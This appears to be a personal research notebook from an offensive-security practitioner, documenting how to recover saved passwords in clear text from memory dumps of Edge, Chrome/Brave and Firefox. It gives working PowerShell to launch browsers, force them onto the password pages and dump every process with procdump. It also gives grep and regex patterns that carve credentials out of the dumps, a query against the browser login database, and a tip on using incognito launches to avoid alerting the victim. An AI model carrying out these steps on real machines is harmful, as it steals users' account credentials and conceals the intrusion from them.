From testing Edge and Chrome I assume all Chromium-based browsers (Brave, Opera...) have the same behaviour, but this needs testing to be certain. Also, dumping all the browser process memory can take up 4 GB of storage so make sure the target computer has enough space so you don't max it out. ## Edge [[2022-06-27_Mon]] - Browsing to `edge://settings/passwords` loads the passwords page. ![[Pasted image 20230930233550.png]] To view the passwords through the browser the user needs to authenticate to Windows, but interestingly, just browsing to this page in the first place causes the browser to load the passwords in clear-text somewhere in memory, regardless of the user authenticating. Dumping and searching for the passwords through all the Edge processes showed this pattern: ```text canva.com com.canva <EMAIL>/<USERNAME> <PASSWORD> - https hackthebox.com com.hackthebox.app <EMAIL> <PASSWORD> - https ``` The question now is how to find passwords without knowing them in advance. I'm thinking of creating a regex pattern for the above: ```text <DOMAIN_WITH_NO_SUBDOMAIN> <REVERSED_DOMAIN_WITH_SUBDOMAIN> <EMAIL> <PASSWORD> - https ``` And then just searching the edge dumps for this pattern. To test my idea that the first field was just the domain (with no subdomain) and that the second field was with the subdomain and also reversed, I saved my username and password to my Open University of Israel account, which has multiple subdomains: ```text https://sso.apps.openu.ac.il/login ``` And indeed this pattern seems to be correct: ```text openu.ac.il il.ac.openu.apps.sso my_username my_password - https ``` Domains regex: ```text [a-zA-Z0-9.][a-zA-Z0-9-.]{1,61}[a-zA-Z0-9.](?:\.[a-zA-Z]{2,})+ ``` Email regex: ```text [a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3} ``` Final ```text [a-zA-Z0-9.][a-zA-Z0-9-.]{1,61}[a-zA-Z0-9.](?:\.[a-zA-Z]{2,})+ [a-zA-Z0-9.][a-zA-Z0-9-.]{1,61}[a-zA-Z0-9.](?:\.[a-zA-Z]{2,})+ [a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3} .*? - https ``` This didn't work for some reason but searching for this pattern did work: ```text <EMAIL> <PASSWORD> - https ``` ```bash grep -aio -E '[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3} .*? - https' ./* | sort -u ./27808.dmp:[email protected] my_password - https ./27808.dmp:[email protected] my_password - httpscanva.com com.canva [email protected] PASSWORD - https ./27808.dmp:[email protected] my_password - https ./27808.dmp:[email protected] my_password - httpshackthebox.com com.hackthebox.app [email protected] my_password - httpshackthebox.com com.hackthebox.app [email protected] my_password - https ``` The downside to this is that the username isn't always an email address, like the case with my Open University account. Some other ideas which can help - we can exfiltrate the browsers databases and query the relevant DB which contains the login info. The password field will be encrypted but all the other fields (domain, username...) will be in clear text. We can then use these to more accurately search through the dump files for the passwords. The last thing we need to cover is how to cause edge to browse to `edge://settings/passwords`. ```powershell $browser = "msedge"; $wshell = New-Object -ComObject wscript.shell; Start-Process $browser; Start-Sleep -Seconds 5; $wshell.SendKeys('^l'); $wshell.SendKeys('edge://settings/passwords~'); Start-Sleep -Seconds 5 ; $procs = Get-Process $browser | foreach {$_.Id.ToString()} ; foreach ($id in $procs) {procdump.exe -ma "$id" "$id.dmp"} ; Stop-Process -Name $browser ``` Works when running from target but when run through reverse shell it requires a "click" in the new Edge window to navigate to correct page. A problem for another time... [[2022-06-28_Tue]] - I tried something simpler. Loading the browser without navigating to any page: ```powershell Start-Process msedge ``` Dumping the processes: ```bash $procs = Get-Process "msedge" | foreach {$_.Id.ToString()} ; foreach ($id in $procs) {procdump.exe -ma "$id" "$id.dmp"} ``` And searching for just the `- https` string: ```bash grep -aio -E '.*? - https' ./* | sort -u ``` Found the passwords (lol). So it seems that Edge loads the clear-text passwords into memory as part of its normal functionality... If there's more than one profile then I'll need to find a way to specify which one to use, but that's a small hurdle to overcome. ## Chrome, Brave With Chrome I had to first load the `chrome://settings/passwords` page to get the clear-text passwords to load into memory. Then it was the same as the above: ```bash grep -aio -E '.*? - https' ./* | sort -u ... ./27488.dmp:Vtrello.com com.trello [email protected] my_password - https ... ``` [[2022-06-29_Wed]] - The `chrome://` pages are considered privileged and as such can't be accessed through the command line. Social-engineering is always an option, but I found another way to get the passwords without having to navigate to the chrome URLs. I noticed that when I browsed to a website that Chrome had a stored password for, it automatically loaded the username and password into the login form (and I assume other Chromium-based browsers behave similarly). So we can just load the browser with the right URL (which we can find using the login DB): ```powershell Start-Process chrome -ArgumentList '--profile-directory="Profile 7" --new-window "https://www.openu.ac.il/students/pages/default.aspx"' ``` Which loads the password into memory somewhere. The password seems to be stored in memory right after the username (which we can also find in the login DB), so searching for the username should help to find the password: ```bash strings ./*.dmp | grep 'my_username' -C 5 ... my_username my_password ... ``` Here is the SQL query for the URL and username, stored in the "Login Data For Account" DB under the user's profile: ```text sqlite> select origin_url, username_value from logins; origin_url username_value ---------------------------------- ---------------------- https://app.hackthebox.com/login [email protected] https://sso.apps.openu.ac.il/login my_username ``` It seems the URL here and the URL the user browses to are different, but that's just a matter of testing on our end first and then just browsing to that page. The more important value is the username which we use to search the memory for the password. I noticed that if there's already an authenticated session then Chrome won't load the password into memory. In this case the memory will have the session cookies - see [[Pass the Cookie]]. And if we still wanted the password then we can load Chrome in Incognito mode (`--incognito`) which doesn't load the cookies, and then the password is guaranteed to be offered on the login page. ```powershell Start-Process chrome -ArgumentList '--profile-directory="Profile 7" --new-window "https://www.openu.ac.il/students/pages/default.aspx" --incognito' ``` Using incognito is actually cool because usually when we kill the process then the next time the user starts the browser it shows this message: ![[Pasted image 20220629111922.png]] Clicking on "Restore" shows the page we (the attacker) browsed to, which may alert the user that something suspicious has happened. But if we use Incognito then when the user clicks on restore from a non-incognito tab, it won't load the page. ## Firefox To load the clear-text passwords into memory we need to browse to the `about:logins` page. Interestingly, Firefox allows us to browse to this page from the command line: ```powershell Start-Process firefox "about:logins" ``` Dumping the Firefox processes: ```bash $procs = Get-Process "firefox" | foreach {$_.Id.ToString()} ; foreach ($id in $procs) {procdump.exe -ma "$id" "$id.dmp"} ``` and searching for multiple passwords shows the following structure: ```text timeCreated<RANDOM_BITS>timeLastUsed_time<RANDOM_BITS>PasswordChanged_P<RANDOM_BITS>timesUsedusername<RANDOM_BITS>my_username<RANDOM_BITS>password<RANDOM_BITS>my_password<RANDOM_BITS>displayOrigin<RANDOM_BITS>hostname ``` The above bit formatted: ```text timeCreated... timeLastUsed_time... PasswordChanged_P... timesUsed... username...my_username... password...my_password... displayOrigin... hostname... ``` ```bash strings 24136.dmp| grep -A 3 -B 7 'my_password' timeCreated timeLastUsed timePasswordChanged timesUsed username my_username password my_password origin displayOrigin hostname ``` ```bash strings ./*.dmp | grep -aizoP 'timeCreated.*\ntimeLastUsed.*\ntimePasswordChanged.*\ntimesUsed.*\nusername.*\n.*.*\npassword.*\n.*.*\norigin.*\ndisplayOrigin.*\nhostname.*' origin displayOrigin hostnametimeCreated timeLastUsed timePasswordChanged timesUsed username my_username password my_password origin displayOrigin hostnameHtimeCreated timeLastUsed timePasswordChanged timesUseds0 username my_username password my_password origin displayOrigin hostnameYtimeCreated timeLastUsed timePasswordChanged timesUsed username my_username password my_password origin displayOrigin hostname ``` I tried from beginning to end and it didn't work - there were some random strings between some of the above fields so the regex didn't match. Also I added another username and password and it wasn't found in the dumps. So seems like other username and passwords may be stored in a different structure. *** ## Footnotes Resources - [Extracting Clear-Text Credentials Directly From Chromium’s Memory](https://www.cyberark.com/resources/threat-research-blog/extracting-clear-text-credentials-directly-from-chromium-s-memory) and [Go BLUE! A Protection Plan for Credentials in Chromium-based Browsers](https://www.cyberark.com/resources/threat-research-blog/go-blue-a-protection-plan-for-credentials-in-chromium-based-browsers)